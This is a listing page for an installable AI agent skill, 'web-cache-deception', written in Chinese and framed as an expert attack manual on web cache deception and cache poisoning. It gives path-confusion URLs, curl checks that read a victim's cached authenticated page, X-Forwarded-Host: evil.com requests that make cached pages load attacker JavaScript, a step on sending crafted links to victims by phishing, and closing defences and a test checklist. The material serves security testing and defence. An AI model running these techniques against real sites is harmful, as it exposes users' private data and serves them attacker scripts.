mcpField
W
web-cache-deception

web-cache-deception

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 web-cache-deception

用于评估 Web 缓存欺骗与投毒风险的安全技能,说明路径规范化、缓存键和未纳入缓存键的输入如何导致认证数据暴露或恶意响应被缓存。

主要功能

  1. 01区分缓存欺骗与缓存投毒
  2. 02路径混淆测试模式
  3. 03检查未纳入键的请求头和参数
  4. 04验证缓存行为
  5. 05缓解措施参考

适用场景

  1. 01用静态文件后缀测试认证端点
  2. 02检查反射请求头是否影响缓存响应
  3. 03检查敏感页面的缓存控制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill web-cache-deception

安装后在 Claude Code 中输入/web-cache-deception确认已加载。

附带文件CACHE_POISONING_TECHNIQUES.md

详细介绍

技能:Web 缓存欺骗——专家攻击手册

AI LOAD INSTRUCTION:Web 缓存欺骗和投毒技术。涵盖路径混淆攻击、利用 CDN 缓存行为、缓存键操纵,以及缓存欺骗(窃取数据)与缓存投毒(提供恶意内容)之间的区别。由 Omer Gil 于 Black Hat 2017 发布,此后进行了大幅扩展。

高级参考

需要以下内容时,也请加载 CACHE_POISONING_TECHNIQUES.md:

  • Web 缓存投毒与 Web 缓存欺骗——明确区分两者并比较攻击流程
  • 未纳入缓存键的标头投毒(X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、多个 Host 标头)
  • 未纳入缓存键的参数投毒(utm_content、fbclid、callback,已反射但未包含在缓存键中)
  • Fat GET 缓存投毒(请求体参数已反射但未纳入缓存键)
  • 通过分号进行参数隐藏,以及重复参数解析差异
  • CDN 特定行为:Cloudflare、CloudFront、Akamai、Varnish、Fastly(缓存键构成、调试标头、ESI)
  • Vary 标头操纵、缓存分区攻击,以及缺少 Vary 的漏洞

1. 核心概念

Web 缓存欺骗(窃取已认证数据)

攻击者诱使受害者请求其已认证页面,所用 URL 会被缓存视为静态内容:

Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's data
Web 缓存投毒(提供恶意内容)

攻击者操纵未纳入缓存键的请求组件(标头、Cookie),使缓存存储恶意响应:

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript

2. 缓存欺骗——攻击方法

步骤 1:识别可缓存的路径模式

CDN 通常根据文件扩展名进行缓存:

.css  .js  .jpg  .png  .gif  .svg  .ico
.woff .woff2  .ttf  .pdf  .json (sometimes)
步骤 2:测试路径混淆
# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json

# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.css
步骤 3:验证缓存行为
# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css

# Check response headers:
# X-Cache: MISS (first request)
# Age: 0

# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css

# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerable
步骤 4:发送给受害者

通过钓鱼、消息或嵌入内容,将构造好的 URL 发送给受害者:

https://target.com/account/profile/tracking.gif

3. 缓存投毒——攻击方法

发现未纳入缓存键的输入

缓存键通常包括:Host、URL 路径、查询字符串。 以下内容通常不在缓存键中:X-Forwarded-Host、X-Forwarded-Scheme、X-Original-URL、Cookie、自定义标头。

# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonable
常见的未纳入缓存键的标头
X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
X-Original-URL        X-Rewrite-URL         X-Host
X-Forwarded-Server    Forwarded             True-Client-IP
通过 Host 标头进行缓存投毒
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS

4. 路径规范化差异

缓存欺骗的关键:CDN 和应用程序对路径的规范化方式不同。

组件行为
CDN(Cloudflare、Akamai)根据包含扩展名的完整 URL 路径进行缓存
应用程序(Rails、Django、Express)可能忽略末尾的路径段或扩展名
反向代理(Nginx)转发前可能会剥除或重写路径
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css

# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability

5. 缓存投毒的真实攻击模式

X-Forwarded-Host → Open Graph / Meta 标记注入
# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">

# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
利用路径分隔符技巧进行缓存欺骗
# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css

# Encoded separators:
/account/profile%2F.css

# Trailing dot/space:
/account/profile/.css
/account/profile .css

6. 防御

防范缓存欺骗
  • 仅缓存明确指定的静态路径(例如 /static/*、/assets/*)
  • 切勿仅根据文件扩展名进行缓存
  • 在已认证的端点上设置 Cache-Control: no-store, private
  • 使用 Vary: Cookie 防止不同用户之间命中缓存
防范缓存投毒
  • 将所有已反射的标头纳入缓存键
  • 验证并清理 X-Forwarded-* 标头
  • 对动态内容使用 Cache-Control: no-cache
  • 在 CDN 边缘剥除未知标头

6. 测试清单

□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authentication

评论

支持 Markdown